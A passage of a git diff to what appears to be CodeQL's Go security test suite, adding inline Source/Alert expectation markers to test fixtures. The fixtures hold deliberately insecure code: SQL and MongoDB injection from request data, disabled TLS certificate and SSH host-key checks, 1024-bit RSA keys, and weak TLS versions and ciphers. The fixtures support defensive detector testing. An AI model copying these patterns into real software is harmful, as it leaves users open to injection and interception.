ITEM_CATEGORY='%s' ORDER BY PRICE", RequestData.Category) - db.Query(q) + db.Query(q) // $ Alert[go/sql-injection] } func handler3(db *sql.DB, req *http.Request) { RequestData := &RequestStruct{} - RequestData.Category = req.URL.Query()["category"] + RequestData.Category = req.URL.Query()["category"] // $ Source[go/sql-injection] q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", RequestData.Category) - db.Query(q) + db.Query(q) // $ Alert[go/sql-injection] } func handler4(db *sql.DB, req *http.Request) { RequestData := &RequestStruct{} - (*RequestData).Category = req.URL.Query()["category"] + (*RequestData).Category = req.URL.Query()["category"] // $ Source[go/sql-injection] q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", RequestData.Category) - db.Query(q) + db.Query(q) // $ Alert[go/sql-injection] } func handler5(db *sql.DB, req *http.Request) { RequestData := &RequestStruct{} - (*RequestData).Category = req.URL.Query()["category"] + (*RequestData).Category = req.URL.Query()["category"] // $ Source[go/sql-injection] q := fmt.Sprintf("SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='%s' ORDER BY PRICE", (*RequestData).Category) - db.Query(q) + db.Query(q) // $ Alert[go/sql-injection] } // This is an integer, so should not counted as injection diff --git a/go/ql/test/query-tests/Security/CWE-089/mongoDB.go b/go/ql/test/query-tests/Security/CWE-089/mongoDB.go index 818f8adb13c..34c89d297b9 100644 --- a/go/ql/test/query-tests/Security/CWE-089/mongoDB.go +++ b/go/ql/test/query-tests/Security/CWE-089/mongoDB.go @@ -37,7 +37,7 @@ func mongo2(w http.ResponseWriter, r *http.Request) { // Get a handle for your collection db := client.Database("test") coll := db.Collection("collection") - untrustedInput := r.Referer() + untrustedInput := r.Referer() // $ Source[go/sql-injection] filter := bson.D{{"name", untrustedInput}} @@ -54,30 +54,30 @@ func mongo2(w http.ResponseWriter, r *http.Request) { update := bson.D{{"$inc", bson.D{{"age", 1}}}} // models := nil - coll.Aggregate(ctx, pipeline, nil) + coll.Aggregate(ctx, pipeline, nil) // $ Alert[go/sql-injection] // coll.BulkWrite(ctx, models, nil) coll.BulkWrite(ctx, nil, nil) coll.Clone(nil) - coll.CountDocuments(ctx, filter, nil) + coll.CountDocuments(ctx, filter, nil) // $ Alert[go/sql-injection] coll.Database() - coll.DeleteMany(ctx, filter, nil) - coll.DeleteOne(ctx, filter, nil) + coll.DeleteMany(ctx, filter, nil) // $ Alert[go/sql-injection] + coll.DeleteOne(ctx, filter, nil) // $ Alert[go/sql-injection] - coll.Distinct(ctx, fieldName, filter) + coll.Distinct(ctx, fieldName, filter) // $ Alert[go/sql-injection] coll.Drop(ctx) coll.EstimatedDocumentCount(ctx, nil) - coll.Find(ctx, filter, nil) - coll.FindOne(ctx, filter, nil) - coll.FindOneAndDelete(ctx, filter, nil) - coll.FindOneAndReplace(ctx, filter, nil) - coll.FindOneAndUpdate(ctx, filter, nil) + coll.Find(ctx, filter, nil) // $ Alert[go/sql-injection] + coll.FindOne(ctx, filter, nil) // $ Alert[go/sql-injection] + coll.FindOneAndDelete(ctx, filter, nil) // $ Alert[go/sql-injection] + coll.FindOneAndReplace(ctx, filter, nil) // $ Alert[go/sql-injection] + coll.FindOneAndUpdate(ctx, filter, nil) // $ Alert[go/sql-injection] coll.Indexes() coll.InsertMany(ctx, documents) coll.InsertOne(ctx, document, nil) coll.Name() - coll.ReplaceOne(ctx, filter, replacement) - coll.UpdateMany(ctx, filter, update) - coll.UpdateOne(ctx, filter, update) - coll.Watch(ctx, pipeline) + coll.ReplaceOne(ctx, filter, replacement) // $ Alert[go/sql-injection] + coll.UpdateMany(ctx, filter, update) // $ Alert[go/sql-injection] + coll.UpdateOne(ctx, filter, update) // $ Alert[go/sql-injection] + coll.Watch(ctx, pipeline) // $ Alert[go/sql-injection] } diff --git a/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.go b/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.go index aa11afa816a..c717cf6fd71 100644 --- a/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.go +++ b/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.go @@ -3,11 +3,11 @@ package main import "encoding/json" func encryptValue(v interface{}) ([]byte, error) { - jsonData, err := json.Marshal(v) + jsonData, err := json.Marshal(v) // $ Source if err != nil { return nil, err } - size := len(jsonData) + (len(jsonData) % 16) + size := len(jsonData) + (len(jsonData) % 16) // $ Alert buffer := make([]byte, size) copy(buffer, jsonData) return encryptBuffer(buffer) diff --git a/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.qlref b/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.qlref index f6da9bc1c36..e06f99c7747 100644 --- a/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.qlref +++ b/go/ql/test/query-tests/Security/CWE-190/AllocationSizeOverflow.qlref @@ -1,2 +1,4 @@ query: Security/CWE-190/AllocationSizeOverflow.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-190/tst.go b/go/ql/test/query-tests/Security/CWE-190/tst.go index abe4452343e..6958fd9ad9a 100644 --- a/go/ql/test/query-tests/Security/CWE-190/tst.go +++ b/go/ql/test/query-tests/Security/CWE-190/tst.go @@ -11,28 +11,28 @@ func test(x int, s string, xs []int, ys [16]int, ss [16]string, h *header) { jsonData, _ := json.Marshal(x) ignore(make([]byte, len(jsonData)+1)) // OK: data is small - jsonData, _ = json.Marshal(s) - ignore(make([]byte, len(jsonData)+1)) // NOT OK: data might be big + jsonData, _ = json.Marshal(s) // $ Source + ignore(make([]byte, len(jsonData)+1)) // $ Alert // NOT OK: data might be big jsonData, _ = json.Marshal("hi there") ignore(make([]byte, len(jsonData)+1)) // OK: data is small - jsonData, _ = json.Marshal(xs) - ignore(make([]byte, len(jsonData)+1)) // NOT OK: data might be big + jsonData, _ = json.Marshal(xs) // $ Source + ignore(make([]byte, len(jsonData)+1)) // $ Alert // NOT OK: data might be big jsonData, _ = json.Marshal(ys) ignore(make([]byte, len(jsonData)+1)) // OK: data is small - jsonData, _ = json.Marshal(ss) - ignore(make([]byte, 10, len(jsonData)+1)) // NOT OK: data might be big + jsonData, _ = json.Marshal(ss) // $ Source + ignore(make([]byte, 10, len(jsonData)+1)) // $ Alert // NOT OK: data might be big jsonData, _ = json.Marshal(h) ignore(make([]byte, len(jsonData)+1)) // OK: data is small var i interface{} i = h - jsonData, _ = json.Marshal(i) - ignore(make([]byte, len(jsonData)+1)) // NOT OK: data might be big + jsonData, _ = json.Marshal(i) // $ Source + ignore(make([]byte, len(jsonData)+1)) // $ Alert // NOT OK: data might be big } func ignore(_ interface{}) {} diff --git a/go/ql/test/query-tests/Security/CWE-190/tst2.go b/go/ql/test/query-tests/Security/CWE-190/tst2.go index d9dfe6912e8..28725266d96 100644 --- a/go/ql/test/query-tests/Security/CWE-190/tst2.go +++ b/go/ql/test/query-tests/Security/CWE-190/tst2.go @@ -6,13 +6,13 @@ import ( ) func test2(filename string) { - data, _ := ioutil.ReadFile(filename) - ignore(make([]byte, len(data)+1)) // NOT OK + data, _ := ioutil.ReadFile(filename) // $ Source + ignore(make([]byte, len(data)+1)) // $ Alert // NOT OK } func test3(r io.Reader) { - data, _ := ioutil.ReadAll(r) - ignore(make([]byte, len(data)+1)) // NOT OK + data, _ := ioutil.ReadAll(r) // $ Source + ignore(make([]byte, len(data)+1)) // $ Alert // NOT OK } func test4(r io.Reader, ws []io.Writer) { diff --git a/go/ql/test/query-tests/Security/CWE-190/tst3.go b/go/ql/test/query-tests/Security/CWE-190/tst3.go index 660345b099d..9a905563953 100644 --- a/go/ql/test/query-tests/Security/CWE-190/tst3.go +++ b/go/ql/test/query-tests/Security/CWE-190/tst3.go @@ -3,8 +3,8 @@ package main import "encoding/json" func testSanitizers(s string) { - jsonData, _ := json.Marshal(s) - ignore(make([]byte, len(jsonData)+1)) // NOT OK: data might be big + jsonData, _ := json.Marshal(s) // $ Source + ignore(make([]byte, len(jsonData)+1)) // $ Alert // NOT OK: data might be big ignore(make([]byte, int64(len(jsonData))+1)) // OK: sanitized by widening to 64 bits @@ -21,7 +21,7 @@ func testSanitizers(s string) { } { - newlength := len(jsonData) + 3 // NOT OK: newlength is changed after the upper bound check (even though it's made smaller) + newlength := len(jsonData) + 3 // $ Alert // NOT OK: newlength is changed after the upper bound check (even though it's made smaller) if newlength < 1000 { newlength = newlength - 1 ignore(make([]byte, newlength)) @@ -29,7 +29,7 @@ func testSanitizers(s string) { } { - newlength := len(jsonData) + 4 // NOT OK: there is an upper bound check but it doesn't dominate `make` + newlength := len(jsonData) + 4 // $ Alert // NOT OK: there is an upper bound check but it doesn't dominate `make` if newlength < 1000 { ignore(newlength + 2) } diff --git a/go/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref b/go/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref index 18cf2d49a1a..420481918d1 100644 --- a/go/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref +++ b/go/ql/test/query-tests/Security/CWE-209/StackTraceExposure.qlref @@ -1 +1,2 @@ -Security/CWE-209/StackTraceExposure.ql +query: Security/CWE-209/StackTraceExposure.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-209/test.go b/go/ql/test/query-tests/Security/CWE-209/test.go index 77df73b8046..6a1b6c298ba 100644 --- a/go/ql/test/query-tests/Security/CWE-209/test.go +++ b/go/ql/test/query-tests/Security/CWE-209/test.go @@ -12,10 +12,10 @@ var logger log.Logger func handlePanic(w http.ResponseWriter, r *http.Request) { buf := make([]byte, 2<<16) - stackLen := runtime.Stack(buf, true) + stackLen := runtime.Stack(buf, true) // $ Source buf = buf[:stackLen] // BAD: printing a stack trace back to the response - w.Write(buf) + w.Write(buf) // $ Alert // GOOD: logging the response to the server and sending // a more generic message. logger.Printf("Panic: %s", buf) diff --git a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.go b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.go index b0490ad6f4f..67f757544f2 100644 --- a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.go +++ b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.go @@ -7,7 +7,7 @@ import ( func doAuthReq(authReq *http.Request) *http.Response { tr := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // NOT OK + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // $ Alert // NOT OK } client := &http.Client{Transport: tr} res, _ := client.Do(authReq) diff --git a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.qlref b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.qlref index cca259717b5..8864221dea7 100644 --- a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.qlref +++ b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/DisabledCertificateCheck.qlref @@ -1 +1,2 @@ -Security/CWE-295/DisabledCertificateCheck.ql +query: Security/CWE-295/DisabledCertificateCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/main.go b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/main.go index 3cb5d107a70..152ece5ba46 100644 --- a/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/main.go +++ b/go/ql/test/query-tests/Security/CWE-295/DisabledCertificateCheck/main.go @@ -6,7 +6,7 @@ import ( ) func bad1(cfg *tls.Config) { - cfg.InsecureSkipVerify = true // NOT OK + cfg.InsecureSkipVerify = true // $ Alert // NOT OK } func good1(cfg *tls.Config) { @@ -54,12 +54,12 @@ func makeInsecureConfig() *tls.Config { } func makeConfig() *tls.Config { - return &tls.Config{InsecureSkipVerify: true} // NOT OK + return &tls.Config{InsecureSkipVerify: true} // $ Alert // NOT OK } func bad3() *http.Transport { transport := &http.Transport{ - TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // NOT OK + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // $ Alert // NOT OK } return transport } diff --git a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.expected b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.expected index b81d24f2665..b05736dc4c4 100644 --- a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.expected +++ b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.expected @@ -1,3 +1,8 @@ +#select +| InsecureHostKeyCallbackExample.go:15:20:18:5 | type conversion | InsecureHostKeyCallbackExample.go:16:4:18:4 | function literal | InsecureHostKeyCallbackExample.go:15:20:18:5 | type conversion | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:16:4:18:4 | function literal | this source | +| InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | this source | +| InsecureHostKeyCallbackExample.go:39:20:39:27 | callback | InsecureHostKeyCallbackExample.go:32:3:34:3 | function literal | InsecureHostKeyCallbackExample.go:39:20:39:27 | callback | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:32:3:34:3 | function literal | this source | +| InsecureHostKeyCallbackExample.go:52:20:52:48 | type conversion | InsecureHostKeyCallbackExample.go:45:3:47:3 | function literal | InsecureHostKeyCallbackExample.go:52:20:52:48 | type conversion | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:45:3:47:3 | function literal | this source | edges | InsecureHostKeyCallbackExample.go:16:4:18:4 | function literal | InsecureHostKeyCallbackExample.go:15:20:18:5 | type conversion | provenance | | | InsecureHostKeyCallbackExample.go:31:14:34:4 | type conversion | InsecureHostKeyCallbackExample.go:39:20:39:27 | callback | provenance | | @@ -41,8 +46,3 @@ nodes | InsecureHostKeyCallbackExample.go:118:35:118:61 | call to InsecureIgnoreHostKey | semmle.label | call to InsecureIgnoreHostKey | | InsecureHostKeyCallbackExample.go:120:44:120:68 | potentiallySecureCallback | semmle.label | potentiallySecureCallback | subpaths -#select -| InsecureHostKeyCallbackExample.go:15:20:18:5 | type conversion | InsecureHostKeyCallbackExample.go:16:4:18:4 | function literal | InsecureHostKeyCallbackExample.go:15:20:18:5 | type conversion | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:16:4:18:4 | function literal | this source | -| InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:26:20:26:46 | call to InsecureIgnoreHostKey | this source | -| InsecureHostKeyCallbackExample.go:39:20:39:27 | callback | InsecureHostKeyCallbackExample.go:32:3:34:3 | function literal | InsecureHostKeyCallbackExample.go:39:20:39:27 | callback | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:32:3:34:3 | function literal | this source | -| InsecureHostKeyCallbackExample.go:52:20:52:48 | type conversion | InsecureHostKeyCallbackExample.go:45:3:47:3 | function literal | InsecureHostKeyCallbackExample.go:52:20:52:48 | type conversion | Configuring SSH ClientConfig with insecure HostKeyCallback implementation from $@. | InsecureHostKeyCallbackExample.go:45:3:47:3 | function literal | this source | diff --git a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.qlref b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.qlref index b5f8712594d..2c5cecd3a29 100644 --- a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.qlref +++ b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallback.qlref @@ -1 +1,2 @@ -Security/CWE-322/InsecureHostKeyCallback.ql +query: Security/CWE-322/InsecureHostKeyCallback.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go index d13bda30a5e..1d5b17ebd8d 100644 --- a/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go +++ b/go/ql/test/query-tests/Security/CWE-322/InsecureHostKeyCallbackExample.go @@ -15,7 +15,7 @@ func insecureSSHClientConfig() { HostKeyCallback: ssh.HostKeyCallback( // BAD func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil - }), + }), // $ Source Alert } } @@ -23,7 +23,7 @@ func insecureSSHClientConfigAlt() { _ = &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.InsecureIgnoreHostKey(), // BAD + HostKeyCallback: ssh.InsecureIgnoreHostKey(), // $ Alert // BAD } } @@ -31,12 +31,12 @@ func insecureSSHClientConfigLocalFlow() { callback := ssh.HostKeyCallback( func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil - }) + }) // $ Source _ = &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: callback, // BAD + HostKeyCallback: callback, // $ Alert // BAD } } @@ -44,12 +44,12 @@ func insecureSSHClientConfigLocalFlowAlt() { callback := func(hostname string, remote net.Addr, key ssh.PublicKey) error { return nil - } + } // $ Source _ = &ssh.ClientConfig{ User: "user", Auth: []ssh.AuthMethod{nil}, - HostKeyCallback: ssh.HostKeyCallback(callback), // BAD + HostKeyCallback: ssh.HostKeyCallback(callback), // $ Alert // BAD } } diff --git a/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.go b/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.go index 9d5ce2ac424..6c28a054b65 100644 --- a/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.go +++ b/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.go @@ -6,16 +6,16 @@ import ( ) func foo1() { - rsa.GenerateKey(rand.Reader, 1024) // BAD + rsa.GenerateKey(rand.Reader, 1024) // $ Alert // BAD } func foo2() { - size := 1024 - rsa.GenerateKey(rand.Reader, size) // BAD + size := 1024 // $ Source + rsa.GenerateKey(rand.Reader, size) // $ Alert // BAD } func foo3() { - foo5(1024) // BAD + foo5(1024) // $ Source // BAD } func foo4() { @@ -23,13 +23,13 @@ func foo4() { } func foo5(size int) { - rsa.GenerateKey(rand.Reader, size) + rsa.GenerateKey(rand.Reader, size) // $ Alert } func foo6() { - keyBits := 1024 + keyBits := 1024 // $ Source if keyBits >= 2047 { - rsa.GenerateKey(rand.Reader, keyBits) // BAD + rsa.GenerateKey(rand.Reader, keyBits) // $ Alert // BAD } } @@ -41,10 +41,10 @@ func foo7() { } func foo8() { - keyBits := 1024 + keyBits := 1024 // $ Source switch { case keyBits >= 2047: - rsa.GenerateKey(rand.Reader, keyBits) // BAD + rsa.GenerateKey(rand.Reader, keyBits) // $ Alert // BAD } } @@ -58,13 +58,13 @@ func foo9() { func foo10(customOptionSupplied bool, nonConstantKeyBits int) { keyBits := 0 - constantKeyBits := 1024 + constantKeyBits := 1024 // $ Source if customOptionSupplied { keyBits = constantKeyBits } else { keyBits = nonConstantKeyBits } - rsa.GenerateKey(rand.Reader, keyBits) // BAD + rsa.GenerateKey(rand.Reader, keyBits) // $ Alert // BAD } func foo11(customOptionSupplied bool, nonConstantKeyBits int) { diff --git a/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref b/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref index fbb59dd4be6..ef999cf368a 100644 --- a/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref +++ b/go/ql/test/query-tests/Security/CWE-326/InsufficientKeySize.qlref @@ -1 +1,2 @@ -Security/CWE-326/InsufficientKeySize.ql +query: Security/CWE-326/InsufficientKeySize.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go index 24dfeb195a0..5a91077e555 100644 --- a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go +++ b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.go @@ -18,7 +18,7 @@ func oldVersionFunc() bool { func minMaxTlsVersion() { { config := &tls.Config{} - config.MinVersion = 0 // BAD + config.MinVersion = 0 // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} @@ -27,7 +27,7 @@ func minMaxTlsVersion() { /// { config := &tls.Config{ - MinVersion: 0, // BAD + MinVersion: 0, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -40,40 +40,40 @@ func minMaxTlsVersion() { /// { config := &tls.Config{} - config.MinVersion = tls.VersionSSL30 // BAD + config.MinVersion = tls.VersionSSL30 // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} - config.MaxVersion = tls.VersionSSL30 // BAD + config.MaxVersion = tls.VersionSSL30 // $ Alert[go/insecure-tls] // BAD } /// { config := &tls.Config{} - config.MinVersion = tls.VersionTLS10 // BAD + config.MinVersion = tls.VersionTLS10 // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} - config.MaxVersion = tls.VersionTLS10 // BAD + config.MaxVersion = tls.VersionTLS10 // $ Alert[go/insecure-tls] // BAD } /// { config := &tls.Config{} - config.MinVersion = tls.VersionTLS11 // BAD + config.MinVersion = tls.VersionTLS11 // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} - config.MaxVersion = tls.VersionTLS11 // BAD + config.MaxVersion = tls.VersionTLS11 // $ Alert[go/insecure-tls] // BAD } /// { config := &tls.Config{ - MinVersion: tls.VersionTLS11, // BAD + MinVersion: tls.VersionTLS11, // $ Alert[go/insecure-tls] // BAD } _ = config } { config := &tls.Config{ - MaxVersion: tls.VersionTLS11, // BAD + MaxVersion: tls.VersionTLS11, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -92,13 +92,13 @@ func minMaxTlsVersion() { /// { config := &tls.Config{ - MinVersion: 0x0300, // BAD + MinVersion: 0x0300, // $ Alert[go/insecure-tls] // BAD } _ = config } { config := &tls.Config{ - MaxVersion: 0x0301, // BAD + MaxVersion: 0x0301, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -108,7 +108,7 @@ func minMaxTlsVersion() { oldVersionFlag := len(os.Args) > 3 if unknown { config := &tls.Config{ - MinVersion: 0, // BAD + MinVersion: 0, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -198,7 +198,7 @@ func minMaxTlsVersion() { _ = config default: config := &tls.Config{ - MinVersion: 0, // BAD + MinVersion: 0, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -216,7 +216,7 @@ func minMaxTlsVersion() { _ = config default: config := &tls.Config{ - MinVersion: 0, // BAD + MinVersion: 0, // $ Alert[go/insecure-tls] // BAD } _ = config } @@ -257,61 +257,61 @@ func cipherSuites() { { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_RSA_WITH_RC4_128_SHA, // BAD - tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // BAD - tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // BAD - tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // BAD - tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // BAD - tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_RSA_WITH_RC4_128_SHA, // BAD - }, + tls.TLS_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // BAD - }, + tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // BAD - }, + tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } @@ -326,33 +326,33 @@ func cipherSuites() { { config := &tls.Config{} config.CipherSuites = make([]uint16, 0) - config.CipherSuites = append(config.CipherSuites, tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256) // BAD + config.CipherSuites = append(config.CipherSuites, tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256) // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} config.CipherSuites = make([]uint16, 0) - suites := tls.InsecureCipherSuites() + suites := tls.InsecureCipherSuites() // $ Source[go/insecure-tls] for _, v := range suites { - config.CipherSuites = append(config.CipherSuites, v.ID) // BAD + config.CipherSuites = append(config.CipherSuites, v.ID) // $ Alert[go/insecure-tls] // BAD } } { config := &tls.Config{} cipherSuites := make([]uint16, 0) - suites := tls.InsecureCipherSuites() + suites := tls.InsecureCipherSuites() // $ Source[go/insecure-tls] for _, v := range suites { cipherSuites = append(cipherSuites, v.ID) } - config.CipherSuites = cipherSuites // BAD + config.CipherSuites = cipherSuites // $ Alert[go/insecure-tls] // BAD } { config := &tls.Config{} cipherSuites := make([]uint16, 0) - suites := tls.InsecureCipherSuites() + suites := tls.InsecureCipherSuites() // $ Source[go/insecure-tls] for i := range suites { cipherSuites = append(cipherSuites, suites[i].ID) } - config.CipherSuites = cipherSuites // BAD + config.CipherSuites = cipherSuites // $ Alert[go/insecure-tls] // BAD } unknown := len(os.Args) > 1 insecureFlag := len(os.Args) > 2 @@ -360,8 +360,8 @@ func cipherSuites() { if unknown { config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } @@ -430,8 +430,8 @@ func cipherSuites() { default: config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } @@ -454,8 +454,8 @@ func cipherSuites() { default: config := &tls.Config{ CipherSuites: []uint16{ - tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // BAD - }, + tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, // $ Source[go/insecure-tls] // BAD + }, // $ Alert[go/insecure-tls] } _ = config } diff --git a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.qlref b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.qlref index 0349f62f26f..892cb53d05b 100644 --- a/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.qlref +++ b/go/ql/test/query-tests/Security/CWE-327/UnsafeTLS.qlref @@ -1,2 +1,4 @@ query: Security/CWE-327/InsecureTLS.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git 